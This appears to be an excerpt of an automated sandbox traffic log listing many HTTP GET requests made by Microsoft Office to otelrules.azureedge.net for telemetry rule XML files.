Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
